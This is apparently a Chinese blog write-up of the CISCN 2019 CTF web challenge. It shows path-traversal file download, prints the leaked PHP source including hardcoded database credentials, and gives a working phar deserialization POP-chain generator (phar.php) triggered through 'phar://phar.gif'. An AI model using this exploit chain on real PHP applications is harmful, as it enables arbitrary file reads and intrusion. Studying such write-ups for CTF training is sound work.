【CISCN 2019华北Day1】Web1

原创已于 2025-04-01 09:10:11 修改 · 1.4k 阅读

20 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #NSSCTF #CISCN

于 2025-04-01 09:05:08 首次发布

WEB 同时被 2 个专栏收录

2 篇文章

订阅专栏

靶场复现

1 篇文章

订阅专栏

一道很C的题目

题目:

先注册一个账号，登录上去。

可上传文件，随便传一个。

有下载功能，burp抓包。

修改下载文件名filename，发现有文件操作的漏洞。

下载成功。再尝试其他的文件。

可以拿到这些后端文件。

二、源码

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

class.php

<?ph
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

题目标签提示是一道反序列化的题目，但是没有找到明显的可以输入序列化数据的地方。

我们了解一下另一种利用反序列化的手段：phar反序列化。

必须要看这篇文章。

https://xz.aliyun.com/t/2715

本题是否符合phar反序列化的条件？

phar文件要能够上传到服务器端。如fileexists()，fopen()，fileget_contents()，file()等文件操作的函数

要有可用的魔术方法作为“跳板”。

文件操作函数的参数可控，且:、/、phar等特殊字符没有被过滤。

符合。

三、构造pop链和phar反序列化。

提取一下class.php中的要用的方法。

class User {
    public $db;
    public function __destruct() {
        $this->db->close();
    }
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

}
class File {
    public $filename;
    public function close() {
        return file_get_contents($this->filename);
    }
}

__destruct()，类被坠摧毁时调用

__call()，在对象中调用一个不可访问方法时调用

思路为：

$User->db=new FileList() ——》$FileList->close() ——》$FileList->__call() ——》

$File->close()

具体代码为

phar.php

<?php
    class User {
        public $db;
    }
    class File {
        public $filename;
    }
    class FileList {
        private $files;
        private $results;
        private $funcs;
        public function __construct() {
            $this->files = array();
            $this->results = array();
            $this->funcs = array();

            $file = new File();
            $file->filename = '/flag.txt';    
            array_push($this->files, $file);
        }
    }

    $user = new User();
    $filelist = new FileList();
    $user->db = $filelist;

    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  
    $phar->setMetadata($user); 
    $phar->addFromString("123.txt", "123"); 
    $phar->stopBuffering();
?>

执行之后回生成一个.phar文件，但是执行前需要

将php.ini中的phar.readonly选项设置为Off，否则无法生成phar文件。

修改php.ini后，执行phar.php。在同目录下生成了一个phar.phar文件。

将其改名为phar.gif

上传。

该怎么利用？

在download.php中有这么一条语句。

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

说明

只可以访问当前目录、/etc和/tmp三个目录

引用：

https://blog.youkuaiyun.com/mumama1/article/details/128923150#:~:text=iniset%20%28%E2%80%9Copenbasedir%E2%80%9D%2C%20getcwd%20%28%29.%20%E2%80%9C%3A%2Fetc%3A%2Ftmp%E2%80%9D%29%3B,%E5%B0%B1%E6%98%AF%E5%8F%AA%E5%8F%AF%E4%BB%A5%E8%AE%BF%E9%97%AE%E5%BD%93%E5%89%8D%E7%9B%AE%E5%BD%95%E3%80%81%2Fetc%E5%92%8C%2Ftmp%E4%B8%89%E4%B8%AA%E7%9B%AE%E5%BD%95%20function%20__call%20%28%24func%2C%20%24args%29

还好我们可以在delete.php的删除功能下操作。

点击删除，burp抓包，修改filename为: phar://phar.gif